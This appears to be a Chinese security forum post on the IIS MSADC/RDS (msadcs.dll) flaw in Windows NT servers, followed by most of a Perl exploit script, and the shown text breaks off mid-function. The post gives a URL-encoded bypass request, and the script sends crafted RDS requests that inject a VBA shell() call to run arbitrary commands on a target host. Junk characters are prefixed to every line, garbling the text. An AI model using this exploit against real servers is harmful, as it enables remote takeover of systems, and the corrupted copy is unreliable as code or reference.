IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?xR7Ii3 JP4DV=}L 涉及程序:
AW5iwq6p Microsoft NT server
ET.jjV MZGhN
brd 描述:
l5-[a 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
0O"W0s"T# ,D{7=mDVm 详细:
X,Na4~JO( 如果你没有时间读详细内容的话,就删除:
;M?)-dpZ c:\Program Files\Common Files\System\Msadc\msadcs.dll
]FCP|Jz 有关的安全问题就没有了。
u1/>)_U b,Wm]N 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
G(t:s5: -leX|U}k 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
f3O6&1D 关于利用ODBC远程漏洞的描述,请参看:
oz&`3` LO=U?`)q http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \D|IN'!D 8e?/LA%MU 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9rEBq& http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6U{A6hH] 2j+w5KvU 这里不再论述。
dJR[9T_OF sqKx?r72 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
vIpL8B86a 6\8d6x> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
wsmgkg 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
HAn{^8"@ 8n3]AOc'~- poBeEpbs #将下面这段保存为txt文件,然后: "perl -x 文件名"
T >8P1p@A, iTHwH{! #!perl
-,")GA+[7 #
t^'nh
1= # MSADC/RDS 'usage' (aka exploit) script
E !!,JnU #
M">v4f&K1! # by rain.forest.puppy
rxyv+@~Nc #
k ]NZ%. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
:u4|6? # beta test and find errors!
@6UtnX'd nkHl;;WJ use Socket; use Getopt::Std;
!R8%C!=a getopts("e:vd:h:XR", \%args);
s!(R J];Sj print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
m]jA( EL~$7 J if (!defined $args{h} && !defined $args{R}) {
IWE([<i}i[ print qq~
mI8EeMa{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
rDFrreQP -h <host> = host you want to scan (ip or domain)
( eKgc -d <seconds> = delay between calls, default 1 second
aMI;;iL^ -X = dump Index Server path table, if available
+RJ{)Nec -v = verbose
0%bCP/ -e = external dictionary file for step 5
NQqw|3 l>\EkUT Or a -R will resume a command session
^BF}wQb:j [-\ Y?3 ~; exit;}
]r;rAOWVV :^y!z1\2(7 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
lgews" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
WX4sTxJK if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
kgo#JY-4 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>SXSrXyYX $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Y|R=^
=d\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_9>,9aL Hf('BagBL if (!defined $args{R}){ $ret = &has_msadc;
/MtmO$. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[~N;d9H+*1 =RWTjTZ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
q=t!COS . "cmd /c ";
-jJhiaJ$< $in=<STDIN>; chomp $in;
CA#g(SiZ $command="cmd /c " . $in ;
^{"i eVn eJoM4v if (defined $args{R}) {&load; exit;}
p-$C*0{ eKr>>4,-P print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
[+o{0o> &try_btcustmr;
3A,N1OXG WRZpu95v print "\nStep 2: Trying to make our own DSN...";
_s;y0$O &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Q# hRnM d&^b=d FDu print "\nStep 3: Trying known DSNs...";
UIEvwQ &known_dsn;
\kQ)fk]^ 0$|VkMq( print "\nStep 4: Trying known .mdbs...";
6SCjlaGW5 &known_mdb;
#ksDU Fu.aV876\f if (defined $args{e}){
jgE{JK\n4 print "\nStep 5: Trying dictionary of DSN names...";
yu6~:$%H &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
I<QUvs%e N[
=I print "Sorry Charley...maybe next time?\n";
*z[vp2
TN exit;
jnqp"
Ult> _YX% M|# ##############################################################################
+jE)kaV% IGTO|sT" sub sendraw { # ripped and modded from whisker
3}}/,pGSc sleep($delay); # it's a DoS on the server! At least on mine...
_-f LD my ($pstr)=@_;
b=Nsz$[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
; Pk"mC die("Socket problems\n");
x[t?hl=: if(connect(S,pack "SnA4x8",2,80,$target)){
w5z]=dN select(S); $|=1;
`&NFl'l1C print $pstr; my @in=<S>;
B<s+I# select(STDOUT); close(S);
KJFQ)#SW! return @in;
I~l_ky|a ! } else { die("Can't connect...\n"); }}
ZTTA??}Y ]MYbx)v) ##############################################################################
0c>>:w20D ^U~Er'mT
sub make_header { # make the HTTP request
q5g_5^csM{ my $msadc=<<EOT
\zJ^XpC POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
!&OdbRHM User-Agent: ACTIVEDATA
xd3mAf Host: $ip
wp:$Tq a$ Content-Length: $clen
X:Y1g)|K Connection: Keep-Alive
tgBA(2/Co ~6#mVP5sU) ADCClientVersion:01.06
08:K9zr Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"a(R>PV% 'tTlBf7# --!ADM!ROX!YOUR!WORLD!
1%M^MT%& Content-Type: application/x-varg
l&Q@+xb> Content-Length: $reqlen
qb nlD\ JK)|a@BtOT EOT
'_g&!zi8~ ; $msadc=~s/\n/\r\n/g;
e77s?WxbK return $msadc;}
;\"Nekd| M/V"Ke"N ##############################################################################
b c
.Vy NO*~C',cI/ sub make_req { # make the RDS request
A f?&VD4K my ($switch, $p1, $p2)=@_;
jM*wm~4>@ my $req=""; my $t1, $t2, $query, $dsn;
#euOq ;$a|4_U$m if ($switch==1){ # this is the btcustmr.mdb query
nb5%a $query="Select * from Customers where City=" . make_shell();
>&<D.lx $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
unL1/JY z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
FlS)m` 6w<p1qhW elsif ($switch==2){ # this is general make table query
?fs#K;w $query="create table AZZ (B int, C varchar(10))";
+$~HRbo $dsn="$p1";}
W6B o\UK !oV' elsif ($switch==3){ # this is general exploit table query
.hvn/5s $query="select * from AZZ where C=" . make_shell();
0A~f
^ $dsn="$p1";}
4z|Yfvq 8HO)",+I elsif ($switch==4){ # attempt to hork file info from index server
0@f7`D $query="select path from scope()";
Q6Zh%\+h( $dsn="Provider=MSIDXS;";}
p|Fhh\,*`X A&'HlI%J elsif ($switch==5){ # bad query
(aCl*vV1 $query="select";
K3UG6S\B $dsn="$p1";}
r52,f%nlm 8&f"")m $t1= make_unicode($query);
.+AO3~Dg $t2= make_unicode($dsn);
`V ++})5v $req = "\x02\x00\x03\x00";
eWx6$_| $req.= "\x08\x00" . pack ("S1", length($t1));
%@M/)"k $req.= "\x00\x00" . $t1 ;
;lWy?53=@ $req.= "\x08\x00" . pack ("S1", length($t2));
-p!KsU $req.= "\x00\x00" . $t2 ;
s?K4::@Fv $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
?Ve5}N return $req;}
J>Rt2K 1J*wW# e ##############################################################################
;/{Q4X{ CM's6qhQnn sub make_shell { # this makes the shell() statement
Q+ST8 return "'|shell(\"$command\")|'";}
\ZDT=? qV$',U*+T ##############################################################################
A8eli=W |-aj$u%~ sub make_unicode { # quick little function to convert to unicode
\&qVr1| my ($in)=@_; my $out;
RBgkC+2 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
;09J;sf return $out;}
qP<,"9!I G7/LY TT) ##############################################################################
Tx_(^K b~1p.J4 sub rdo_success { # checks for RDO return success (this is kludge)
K;xW/7? my (@in) = @_; my $base=content_start(@in);
'IW+"o if($in[$base]=~/multipart\/mixed/){
rqh,BkQ0t return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Yh%wf3
UEO return 0;}
G =4 y!y q(p0#Mk,E ##############################################################################
tr/dd&(Y1 S&uL9)Glb sub make_dsn { # this makes a DSN for us
r;T/ my @drives=("c","d","e","f");
v#+w<gRq print "\nMaking DSN: ";
EH "g`r foreach $drive (@drives) {
lqCn5|S] print "$drive: ";
W=\dsdnu* my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
C;)
xjZiR "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4vQHr!$Ep . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
rlIEch^wZ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
XZ&v3ul return 0 if $2 eq "404"; # not found/doesn't exist
-9*WQU9R if($2 eq "200") {
"qm> z@K foreach $line (@results) {
Z=c@Gd return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
KJ)&(Yx } return 0;}
nm-Y?!J _dBU6U:V ##############################################################################
?^vZ{B)&0E 9h(hx7] sub verify_exists {
e,*[5xQ my ($page)=@_;
ggTjd"|) my @results=sendraw("GET $page HTTP/1.0\n\n");
e`Yns$x return $results[0];}
{|E7N"Qzg 5l}h8So4 ##############################################################################
m'B6qy!}6 nu<!/O sub try_btcustmr {
F]*-i 55S my @drives=("c","d","e","f");
S%fBt?-Cm my @dirs=("winnt","winnt35","winnt351","win","windows");
%$xFnGb ) :@%xoF5 foreach $dir (@dirs) {
//@=Q!MW print "$dir -> "; # fun status so you can see progress
~\G3l,4 foreach $drive (@drives) {
~m?~eJK#a print "$drive: "; # ditto
e"6i>w! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\^4$}@*] $reqlenlen=length( "$reqlen" );
$IT9@}*{ $clen= 206 + $reqlenlen + $reqlen;
xlO2jSSAt fO>~V1 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
;/T-rVND if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\AzcW;03g[ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
AyO|9!F@A _[o^23Hj ##############################################################################
XE*bRTEw @EZONKT sub odbc_error {
^b %8_?2m my (@in)=@_; my $base;
V^+:U>$w my $base = content_start(@in);
T_[\(K`w! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
oLMi vy4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
CWQ2iu<_0 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m5aaY $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
?\M6P?tpo& return $in[$base+4].$in[$base+5].$in[$base+6];}
[Mc5N print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]!aa#?Fc print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
QJM!Wx+ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5qSZ>DZ 9nS! ##############################################################################
%:?QE
; xN8JrZE& sub verbose {
Jk`)`94I my ($in)=@_;
ok2~B._+; return if !$verbose;
2] G$6H print STDOUT "\n$in\n";}
X",0VO wP0+Xv, ##############################################################################
c@7hLUaE2 TF-Ty sub save {
So.P @CCd my ($p1, $p2, $p3, $p4)=@_;
mS}x2& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
GTe:k print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!o':\hex6 close OUT;}
.<^YE% _C,@eu"9V ##############################################################################
f\U&M,L\' @[lc0_b sub load {
oImgj4C2L my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
AWXpA1( open(IN,"<rds.save") || die("Couldn't open rds.save\n");
eSNSnh]' @p=<IN>; close(IN);
xcvr D $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
'#PqI)P $target= inet_aton($ip) || die("inet_aton problems");
wKS-O%? print "Resuming to $ip ...";
jZT :-w $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
&MZy;Sq if($p[1]==1) {
cNlY=L $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
M03i4R@h( $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)NmlV99q my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Wo+CQH6( if (rdo_success(@results)){print "Success!\n";}
Ca@=s else { print "failed\n"; verbose(odbc_error(@results));}}
QsJW"4d elsif ($p[1]==3){
'F"Y?y:! if(run_query("$p[3]")){
RrdtU7i3 print "Success!\n";} else { print "failed\n"; }}
L"!ZY elsif ($p[1]==4){
xTFrrmxOf if(run_query($drvst . "$p[3]")){
tK}p05nPhl print "Success!\n"; } else { print "failed\n"; }}
k +#l;<\2 exit;}
=/JF-#n/MA 6y,P4O*q ##############################################################################
83ic@[ FEZ"\|I| sub create_table {
pNE\@U|4E my ($in)=@_;
@PoFxv $reqlen=length( make_req(2,$in,"") ) - 28;
fCf#zV[ $reqlenlen=length( "$reqlen" );
AYA&&